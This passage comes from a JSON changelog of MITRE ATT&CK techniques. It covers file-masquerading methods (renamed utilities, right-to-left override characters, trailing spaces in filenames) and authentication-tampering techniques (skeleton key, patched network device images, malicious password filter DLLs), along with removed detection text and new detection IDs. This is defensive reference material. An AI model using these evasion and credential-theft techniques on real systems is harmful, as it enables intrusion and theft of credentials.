| > | on-executable file types and extensions, such as text files | > | on-executable file types and extensions, such as text files | ||
| > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | ||
| > | ally treated as benign. Based on this, adversaries may use | > | ally treated as benign. Based on this, adversaries may use | ||
| > | a file extension to disguise malware, such as naming a PHP b | > | a file extension to disguise malware, such as naming a PHP b | ||
| > | ackdoor code with a file name of <code>test.gif</code>. A us | > | ackdoor code with a file name of <code>test.gif</code>. A us | ||
| > | er may not know that a file is malicious due to the benign a | > | er may not know that a file is malicious due to the benign a | ||
| > | ppearance and file extension. Polygot files, which are file | > | ppearance and file extension. Polyglot files, which are fil | ||
| > | s that have multiple different file types and that function | > | es that have multiple different file types and that function | ||
| > | differently based on the application that will execute them, | > | differently based on the application that will execute them | ||
| > | may also be used to disguise malicious malware and capabili | > | , may also be used to disguise malicious malware and capabil | ||
| > | ties.(Citation: polygot_icedID) | > | ities.(Citation: polygot_icedID) |
rundll32.exe).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/003",
"external_id": "T1036.003"
},
{
"source_name": "Twitter ItsReallyNick Masquerading Update",
"description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
"url": "https://x.com/ItsReallyNick/status/1055321652777619457"
},
{
"source_name": "Elastic Masquerade Ball",
"description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
"url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
},
{
"source_name": "F-Secure CozyDuke",
"description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
"url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
},
{
"source_name": "LOLBAS Main Site",
"description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
"url": "https://lolbas-project.github.io/"
},
{
"source_name": "Huntress Python Malware 2025",
"description": "Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.",
"url": "https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader"
},
{
"source_name": "Splunk Detect Renamed PSExec",
"description": "Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.",
"url": "https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/"
},
{
"source_name": "The DFIR Report AutoHotKey 2023",
"description": "The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.",
"url": "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Anderson, @\u200cnosecurething, Huntress"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.517000+00:00\", \"old_value\": \"2025-04-15 19:59:02.921000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0005: Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-10 19:55:29.385000+00:00",
"modified": "2025-10-24 17:48:58.683000+00:00",
"name": "Right-to-Left Override",
"description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/002",
"external_id": "T1036.002"
},
{
"source_name": "Trend Micro PLEAD RTLO",
"description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
},
{
"source_name": "Kaspersky RTLO Cyber Crime",
"description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
"url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
},
{
"source_name": "Infosecinstitute RTLO Technique",
"description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
"url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.683000+00:00\", \"old_value\": \"2025-04-15 23:00:50.575000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection methods should include looking for common formats of RTLO characters within filenames such as \\\\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0527: Right-to-Left Override Masquerading Detection via Filename and Execution Context"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-10 20:47:10.082000+00:00",
"modified": "2025-10-24 17:49:32.287000+00:00",
"name": "Space after Filename",
"description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/006",
"external_id": "T1036.006"
},
{
"source_name": "Mac Backdoors are back",
"description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
"url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Erye Hernandez, Palo Alto Networks"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.287000+00:00\", \"old_value\": \"2025-04-25 14:48:22.412000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0292: Masquerading via Space After Filename - Behavioral Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:01:56.887000+00:00",
"modified": "2025-10-24 17:49:36.944000+00:00",
"name": "Modify Authentication Process",
"description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556",
"external_id": "T1556"
},
{
"source_name": "Clymb3r Function Hook Passwords Sept 2013",
"description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
"url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
},
{
"source_name": "Xorrior Authorization Plugins",
"description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.",
"url": "https://xorrior.com/persistent-credential-theft/"
},
{
"source_name": "Dell Skeleton",
"description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
"url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
},
{
"source_name": "dump_pwd_dcsync",
"description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
"url": "https://adsecurity.org/?p=2053"
},
{
"source_name": "TechNet Audit Policy",
"description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
"url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Chris Ross @xorrior"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Network Devices",
"IaaS",
"SaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Access\", \"Logon Session: Logon Session Creation\", \"Active Directory: Active Directory Object Modification\", \"User Account: User Account Authentication\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Creation\", \"User Account: User Account Modification\", \"File: File Modification\", \"Module: Module Load\", \"Cloud Service: Cloud Service Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.944000+00:00\", \"old_value\": \"2025-04-15 19:59:21.746000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference. \\n\\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\\n\\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \\n\\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n\\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\\n\\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,13 +0,0 @@\\n-Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages) and correlate then investigate the DLL files these files reference. \\n-\\n-Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\\n-\\n-Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \\n-\\n-Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\\n-\\n-Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\\n-\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n-\\n-Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1025: Privileged Process Integrity",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1028: Operating System Configuration",
"M1032: Multi-factor Authentication",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0002: User Account (User Account Modification)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0011: Module (Module Load)",
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0025: Cloud Service (Cloud Service Modification)",
"DS0026: Active Directory (Active Directory Object Modification)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0104: Detect Modification of Authentication Processes Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:05:02.399000+00:00",
"modified": "2025-10-24 17:49:27.324000+00:00",
"name": "Domain Controller Authentication",
"description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/001",
"external_id": "T1556.001"
},
{
"source_name": "Dell Skeleton",
"description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
"url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
},
{
"source_name": "TechNet Audit Policy",
"description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
"url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Access\", \"File: File Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.324000+00:00\", \"old_value\": \"2025-04-15 22:21:45.658000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n\\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\\n-\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). \"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1025: Privileged Process Integrity",
"M1026: Privileged Account Management",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0022: File (File Modification)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0271: Detect Domain Controller Authentication Process Modification (Skeleton Key)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 17:58:04.155000+00:00",
"modified": "2025-10-24 17:49:38.719000+00:00",
"name": "Network Device Authentication",
"description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/004",
"external_id": "T1556.004"
},
{
"source_name": "Mandiant - Synful Knock",
"description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.719000+00:00\", \"old_value\": \"2025-04-15 21:40:12.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0272: Detect Modification of Network Device Authentication via Patched System Images"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:05:45.829000+00:00",
"modified": "2025-10-24 17:48:39.067000+00:00",
"name": "Password Filter DLL",
"description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
